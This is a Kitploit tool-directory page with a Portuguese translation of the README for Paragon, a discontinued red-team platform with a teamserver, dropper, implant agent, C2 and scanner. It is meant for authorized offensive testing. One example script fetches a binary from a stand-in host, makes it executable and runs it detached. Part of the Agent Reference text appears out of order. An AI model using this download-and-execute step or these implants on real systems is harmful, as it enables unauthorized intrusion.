Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
paragon — Plataforma de engajamento da Red Team com o objetivo de unificar ferramentas ofensivas por trás de uma interface simples. | Kitploit
Ferramentas/GitHubGitHub/kcarretto/paragon
Frameworks de Testes de PenetraçãoFrameworks de ExploraçãoScripting e AutomaçãoPós-ExploraçãoComando e ControleRed TeamingDesenvolvimento de Payloads
GitHubkcarretto/paragon

paragon

Plataforma de engajamento da Red Team com o objetivo de unificar ferramentas ofensivas por trás de uma interface simples.

Ver Repositório
304426há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Aviso de Descontinuação

Este projeto foi descontinuado. Consulte nosso novo Projeto Realm, que se baseia em muitas das ideias que tivemos ao construir este repositório.

CI Build Status Go Report Card Coverage Status GitHub release GoDoc

Paragon

Demo

Paragon é uma plataforma de engajamento de Red Team. Seu objetivo é unificar ferramentas ofensivas atrás de uma IU simples, abstraindo grande parte do trabalho de backend para permitir que operadores foquem em escrever implants e gastem menos tempo se preocupando com bancos de dados e CSS. O repositório também oferece algumas ferramentas ofensivas já integradas ao Paragon que podem ser usadas durante engajamentos.

Este repositório ainda está em forte desenvolvimento e não está pronto para uso em produção. Quando considerado estável, uma tag V1.0.0 será lançada. Até lá, a API pode sofrer alterações que quebrem a compatibilidade à medida que simplificamos continuamente nosso design. Leia a documentação do desenvolvedor abaixo se quiser nos ajudar a alcançar este marco mais rapidamente.

Tabela de Conteúdos

  • Destaques de Funcionalidades
  • Primeiros Passos
  • Visão Geral dos Componentes
  • FAQ
  • Terminologia
  • Guia do Desenvolvedor

Destaques de Funcionalidades

  • Integre facilmente ferramentas personalizadas para unificar operações em uma única interface
  • Consulte o grafo de conhecimento da Red Team usando uma API GraphQL fornecida
  • Emissão de eventos para automação de baixa latência e processamento em tempo real
  • Linguagem de script semelhante ao Python para implantações, pós-exploração e mais
  • Implants e implantação multiplataforma incluídos
  • Registre a atividade do operador para agregar convenientemente em um relatório pós-engajamento para revisão

Primeiros Passos

Uma instância de demonstração rápida pode ser configurada clonando o repositório e executando docker-compose up. Abra 127.0.0.1:80 no seu navegador para começar!

As imagens utilizadas estão disponíveis no docker-hub e podem ser configuradas a partir de um arquivo docker-compose para uma implantação em produção.

Visão Geral dos Componentes

Linguagem de Script

A maioria dos componentes neste repositório depende de uma linguagem de script semelhante ao Python, que permite controle poderoso e personalização de seu comportamento. A linguagem é uma versão modificada do starlark do Google, estendida com funcionalidade multiplataforma para operadores. Isso também permite que ferramentas como o agente e o dropper (discutidos abaixo) executem tarefas sem depender de binários do sistema (curl, bash, etc.). Todas as operações são executadas como código em Go, então é intuitivo adicionar funcionalidades adicionais ao ambiente de script. Aqui está um exemplo de script:

root@kitploit:~
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

Referência

Teamserver

Fornece uma aplicação web simples e API GraphQL para interfacear com um grafo de conhecimento da Red Team, unificando ferramentas por trás de uma fonte centralizada de verdade e abstraindo muitas preocupações tediosas de backend dos operadores. Integre suas ferramentas personalizadas com o Teamserver (usando a API GraphQL ou assinaturas de eventos) para economizar tempo no trabalho de backend. O Teamserver registra toda a atividade, então com todas as suas ferramentas unificadas em um só lugar, escrever relatórios pós-engajamento se torna significativamente mais fácil.

Ferramentas Integradas

As ferramentas abaixo também estão incluídas no repositório. Elas podem ser facilmente estendidas para atender a muitos casos de uso multiplataforma.

Dropper

  • Totalmente multiplataforma
  • Compile estaticamente assets em um único binário
  • Fornece linguagem de script semelhante ao Python para configuração de implantação personalizada

O Paragon fornece uma ferramenta para empacotar assets (binários, scripts, etc.) em um único binário que, quando executado, executará seu script de implantação personalizado que pode escrever assets no sistema de arquivos, iniciar processos, baixar arquivos, lidar com erros e muito mais. É totalmente multiplataforma e compilado estaticamente, fornecendo implantações confiáveis. Se você deseja estender sua funcionalidade, pode simplesmente estender o arquivo Go gerado antes de compilar.

Agent

  • Totalmente multiplataforma
  • Fornece linguagem de script semelhante ao Python para pós-exploração
  • Mecanismos de comunicação modulares, compile apenas o que você precisa
    • Utilize múltiplas opções para garantir callbacks confiáveis
  • Personalize como o agente lida com falhas de comunicação

Um implante que executa tarefas e relata resultados de execução. É configurado por padrão para executar tarefas usando a linguagem de script semelhante ao Python do Paragon e para se comunicar com um C2 via http(s). É escrito em Go e pode ser rapidamente modificado para adicionar novos métodos de transporte (ex: DNS), opções de execução, lógica de failover e muito mais.

C2

  • Implantação leve
  • Altamente performático, capaz de lidar com milhares de Agents
    • Dependente de recursos do sistema e largura de banda disponível
  • Serviço distribuído, utilize quantos C2s desejar

Atua como intermediário entre o Agent e o Teamserver. Ele lida com callbacks de agentes para uma variedade de mecanismos de comunicação e fornece novas tarefas da fila do teamserver.

Runner

  • Execução de tarefas em tempo real e baixa latência
  • Facilmente extensível para adicionar suporte a mais mecanismos de comunicação
  • Serviço distribuído, utilize quantos runners desejar

Em vez de aguardar um callback, algumas situações podem exigir uma conexão direta para executar rapidamente uma tarefa e visualizar sua saída. O Runner realiza isso assinando filas de tarefas e estabelecendo uma conexão com a máquina alvo (ex: usando ssh). Isso permite que integrações do tipo shell utilizem a mesma interface que implants e C2s. Também permite que a implantação inicial do implante seja conduzida através desta interface.

Scanner

  • Monitore serviços alvo acessíveis
  • Automatize respostas quando serviços se tornam (in)disponíveis
  • Forneça informações de rede para o grafo de conhecimento, que podem ser utilizadas por outras ferramentas
  • Serviço distribuído, utilize quantos scanners desejar

Monitore a atividade da rede alvo e serviços visíveis. Mapeie um gráfico da rede do engajamento e acione automação em mudanças de estado (ex: ssh fica disponível).

FAQ

E se as máquinas reportarem o mesmo UUID?

Definir a variável de ambiente killswitch PG_KS_MachineUUID para o teamserver desabilitará as consultas que utilizam UUIDs de máquina.

Terminologia

Para garantir uma comunicação clara sobre esses sistemas complexos, descrevemos abaixo alguns termos específicos do projeto que serão usados em toda a documentação do projeto.

Implant

Qualquer software malicioso que será executado em sistemas comprometidos durante o engajamento.

Task

Operações desejadas a serem executadas em um sistema comprometido específico. As Tarefas fornecem instruções de execução para implants, no entanto sua sintaxe/estrutura pode ser completamente específica para uma ferramenta.

Agent

Um Implante que recebe tarefas do teamserver, as executa e relata seus resultados. Uma implementação padrão extensível está incluída neste repositório, que exige que as tarefas sejam fornecidas como scripts escritos usando o DSL semelhante a Python do projeto.

Job

Solicitações para que o Teamserver execute um conjunto de operações dadas. Ao criar um job, as instruções serão salvas, mas não executadas. O usuário pode solicitar que o Teamserver execute um job zero ou mais vezes, enfileirando o job e fornecendo os parâmetros necessários para ele. Os jobs nunca podem ser atualizados, mas novas versões de jobs podem ser criadas para evitar copiar e colar excessivos.

Um caso de uso comum para um Job é quando o usuário deseja executar um script em alguns Targets. O usuário cria um job, que instrui o teamserver a criar tarefas com o conteúdo fornecido, mas deixa as máquinas alvo desejadas como parâmetro. Quando o job é enfileirado, o usuário fornece uma lista de máquinas alvo como parâmetro, e o Teamserver criará uma tarefa para cada máquina.

Guia do Desenvolvedor

Abaixo serve como uma referência inicial e breve para o desenvolvimento do Paragon. Mais documentação pode ser encontrada nas godocs do pacote ou lendo um pouco do código :) Depois que finalizarmos algumas decisões de design (bem antes de atingir v1), um congelamento de código entrará em vigor até que toda a documentação tenha sido atualizada e organizada adequadamente.

Pré-requisitos

  • Git
  • Docker
  • VSCode
    • Embora você possa usar outros editores, perderá a personalização que acelera o desenvolvimento no VSCode
    • A extensão Remote - Containers fornecida pela Microsoft é necessária para começar.

Configuração do Ambiente

Após instalar os pré-requisitos listados acima, você poderá começar rapidamente. Simplesmente clone o repositório e abra-o no VSCode. Você será solicitado a abrir o código em um contêiner de desenvolvimento, que foi configurado com todas as dependências do projeto e ferramentas de desenvolvedor que você precisará. Se esta opção não aparecer para você, abra a paleta de comandos e execute > Remote-Containers: Open Folder In Container, que deve iniciar o contêiner para você. Se esta for a primeira vez que você inicia o contêiner, pode demorar um pouco para baixar... então pegue um café ^_^

Estrutura do Projeto

Abaixo está uma visão geral da estrutura do projeto e onde cada componente reside. Se isso ficar desatualizado, sinta-se à vontade para abrir uma issue informando ou, de preferência, um PR para corrigir. O código é configurado como um monorepositório, o que nos permite aproveitar ferramentas de desenvolvimento compartilhadas, padronização, etc., evitando conflitos de versão complicados.

PastaCasos de Uso
.devcontainerConfiguração para o ambiente de desenvolvimento em contêiner do VSCode.
.githubConfiguração do Github.
.statsUm diretório ignorado pelo git (que você pode ou não ter) para armazenar saída de perfil de desempenho.
entDefinições de API relacionadas a grafos usadas pelo teamserver.
graphqlEsquema GraphQL e código relacionado gerado a partir de ent.
cmdFerramentas executáveis de linha de comando e serviços.
distUm diretório ignorado pelo git para armazenar artefatos de build.
dockerDockerfiles usados para implantação de exemplo.
entModelos e esquemas de grafos usados pelo teamserver (veja a ferramenta entgo do Facebook para mais informações).
pkgBibliotecas públicas utilizadas pelas ferramentas do repositório, mas também expostas ao mundo.
pkg/agentUma abstração para criar facilmente um implante ou transporte de comunicação.
pkg/c2Helpers relacionados ao serviço C2 e definições padronizadas de mensagens.
pkg/c2/protoEspecificação Protobuf para definir um formato de serialização padronizado para comunicação Agent <-> C2.
pkg/dropFornece um método simples usado por payloads dropper compilados.
pkg/middlewareMiddleware comum para serviços HTTP.
pkg/scriptLinguagem de script semelhante ao Python para configuração dinâmica, automação e exploração multiplataforma.
pkg/script/stdlibBibliotecas padrão que expõem funcionalidades para ambientes de execução de script.
pkg/teamserverHelpers relacionados ao serviço Teamserver.
wwwContém a aplicação web principal hospedada pelo teamserver. Criado pelo create-react-app do Facebook.
www/src/componentsComponentes React reutilizáveis.
www/src/configConfiguração da Web App e roteamento.
www/src/viewsContêineres que consultam dados do Teamserver e compõem componentes para renderizar.

Referência do Teamserver

Grafo de Conhecimento

Abaixo está uma visão geral da relação entre nós no grafo de conhecimento da Red Team gerenciado pelo Teamserver.

Graph

Referência do Agente

prioridade de transporte. Para usar o seu próprio, simplesmente implemente a interface agent.Sender e registre seu transporte durante a inicialização. Exemplos de transportes existentes podem ser encontrados em subdiretórios do pacote agent.

Execução de Tarefa

Por padrão, o agente espera que as tarefas adiram à sintaxe do Starlark e expõe uma biblioteca padrão para scripts utilizarem. Para alterar o comportamento da execução de tarefas (por exemplo, apenas comandos bash), você pode implementar a interface agent.Receiver para executar tarefas como desejar.

Ambiente de Script

O ambiente de script pode ser personalizado para o seu agente, permitindo que você empacote facilmente novas funcionalidades para scripts utilizarem. Consulte opções de script para aprender como estender o mecanismo de script do agente.

Fluxo de Execução

Abaixo está um diagrama de fluxo da execução geral do implante do agente.

Adicionando um Transporte

O agente é projetado para ser facilmente personalizado com novos mecanismos de transporte, multiplexando comunicações com base em

AgentExec

Baixar ferramenta